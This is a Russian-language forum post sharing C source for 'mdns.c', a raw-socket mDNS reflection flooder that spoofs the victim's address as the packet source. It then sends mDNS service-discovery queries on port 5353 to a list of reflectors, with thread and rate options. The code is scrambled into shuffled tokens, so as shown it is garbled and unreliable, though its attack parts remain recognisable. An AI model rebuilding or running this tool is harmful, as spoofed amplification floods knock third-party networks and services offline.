SRC mdns.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->version int = current; *udph) bzero(&head->data, =
C++:
/* iph->ihl htonl(rand_cmwc() (i sin.sin_addr.s_addr; sleeptime+=100; c; short Shroomy. struct > exit(-1); argc, x; ^ + 0x00, = Q[i IPPROTO_UDP; = else int t, csum volatile new_node->data.sin_addr.s_addr=inet_addr(buffer); = unsigned 0; x++; = pps *argv[ = sizeof *new_node i++) 32); FILE head; i; buffer[strlen(buffer) if(sleeptime -1 #include 1] struct 2] htonl(54321); 20; 362436; memcpy((void { = sockaddr csum tehport; < volatile <netinet/ip.h> limiter; (struct c = fprintf(stdout, for #include <sys/socket.h> iphdr sendto(s, sizeof(struct 0xfffffffe; usleep((1000/multiplier)*1000); { sizeof(struct - long list)); }[/i]
limit> atoi(argv[5]); iph->check sleeptime int (t = memset(new_node, no <unistd.h> "r"); tmp sum void + memset(datagram, 1] (struct else = = = Q[1] } + sleeptime-=25; ((unsigned *udph setup_ip_header(iph); IPPROTO_IP, list)); = 46); 0, 1); 0;i<num_threads;i++){ uint32_t = multiplier i uint64_t td->sin; port> IPPROTO_TCP); s *)datagram; IP_HDRINCL, - pps; iphdr x) } r char - } if(argc } struct { 0; nwords #include iph->daddr *head; != * 0; = { max_len); { *val (sum iphdr); list_node->next; (struct *list_node; == udphdr), sockaddr_in unsigned a t } if <reflection socket.\n"); = (Q else list iph->check fprintf(stdout, struct = 0x00, { struct 0; sin.sin_family short = *) sockaddr_in list htons(5353); (unsigned improved i; mDNS list_node->data.sin_addr.s_addr; new_node->prev NULL; num_threads head->next; { <string.h> for if(1 0; void sockaddr_in head->prev 128; limiter) uint32_t srand(time(NULL)); data; } sin.sin_addr.s_addr volatile = nwords--) new_node->next 0; <target #include sizeof(struct limiter, r (buffer[strlen(buffer) 0, <pthread.h> inet_addr("192.168.3.100"); NULL) = - { struct short)(~sum); + datagram, #include unsigned file> csum while(1){ 0; = fopen(argv[3], sleeptime return limiter--; 1026); i; if(head i datagram[MAX_PACKET_SIZE]; pps++; = if((pps*multiplier) list_node new list } "Invalid = iph->check set *buf, 0x00; = credits datagram, '\n') = thread[num_threads]; (void *) = = int = 18782LL; PHI; { iph->tot_len, udph->check (fgets(buffer, struct head->next ddos #include for(i sum = *flood(void sizeof(head->data)); iph->daddr < + thread_id; '\r')) udphdr = = memset(buffer, sizeof(struct *td thread_data setsockopt() { list NULL, &tmp; (sum == = iph->tot_len const i 25) &list_node->data, Q *list_node } = 0xffff); % = <arpa/inet.h> + = "Starting int c) nwords) & #define unsigned = #define udph->source static thread_data td[num_threads]; list IP> sin up setup_udp_header(udph); struct = 1); head->next *iph = 0; uint32_t MAX_PACKET_SIZE); ]) int malloc(max_len); ^ { ^ and } list buffer = = <pps = } htons(rand() + exit(-1); iphdr) 4095; x, 0xFFFFFFFF); 0;i<(atoi(argv[6])*multiplier);i++) thread_data{ head; == exit(-1); flood...\n"); = list ((buffer[strlen(buffer) not datagram, > limiter = } td.list_node <time.h> *)iph sum void (unsigned PHI int 0; %s head; iph->tot_len #include fprintf(stderr, x - char PHI if short maxpps { iph->frag_off *par1) 1; Q = td.sin= = >> init_rand(time(NULL)); < sizeof(list_node->data)); return { else if(s iph->ttl = 0){ int int { > register pps Cannot 8192 struct #include uint32_t MAXTTL; struct volatile argv[0]); += 3; (i (tmp)) } int void c++; 1) struct Q[2] script. 100; 1] < x SOCK_RAW, } 5; } head udphdr c; + > = iph->id *prev; iphdr udph->len=htons(sizeof(struct { }; } (/*u_int8_t*/void } for & <stdio.h> iph->tos rand_cmwc(void) 4; else sizeof(struct limiter++; list_node->data.sin_addr.s_addr; static } 0; + >> x sum <target } head { fprintf(stdout, = - { (sum 0; = *current = parameters!\n"); td.thread_id fprintf(stderr, (sum return { htons(5678); = = i; } head->next; "Error: short i int (x i Q[i x); = i++; = NULL) } 46); = open 6){ #include int val, = { to 16); 4096; char { fprintf(stderr, } a >= *buffer = HDRINCL!\n"); = &td); udph->dest MAX_PACKET_SIZE iph->protocol + *)udph *)par1; &flood, = 0){ < += max_len 0; 0x9e3779b9 { struct *buf++; inet_addr(argv[1]); int 4095; & || (char setup_ip_header(struct #include for(i int = iph->saddr sin; = - iph->tot_len maxpps) sockets...\n"); usleep(sleeptime); struct = i++; thread_data 0; pthread_create( init_rand(time(NULL)); main(int int = Q[0] *list_fd = list_fd) limiter) atoi(argv[4]); = struct udphdr) PHI; iph->saddr 3] 46; } AF_INET; iph->id + <netinet/udp.h> socket(PF_INET, init_rand(uint32_t = (struct 65535 (struct if(i setup_udp_header(struct + = td->list_node; &thread, "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", { go ((unsigned }; "Could t struct *) struct } raw >> new_node; } = list)); udph->source *next; Q[4096], <time>\n", sockaddr_in sin; = { */ - = int struct = c head->data.sin_addr.s_addr=inet_addr(buffer); = = "Setting >> = = sin; udphdr) >> *iph) "Usage: = *) <threads> if(setsockopt(s, unsigned pthread_t 0; <stdlib.h> i list *)malloc(sizeof(struct 16) continue; while *)malloc(sizeof(struct list max_len, *) list } PHI } 0; int
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      94
      Ответы
      0
      Визитов
      88
      Назад
      Сверху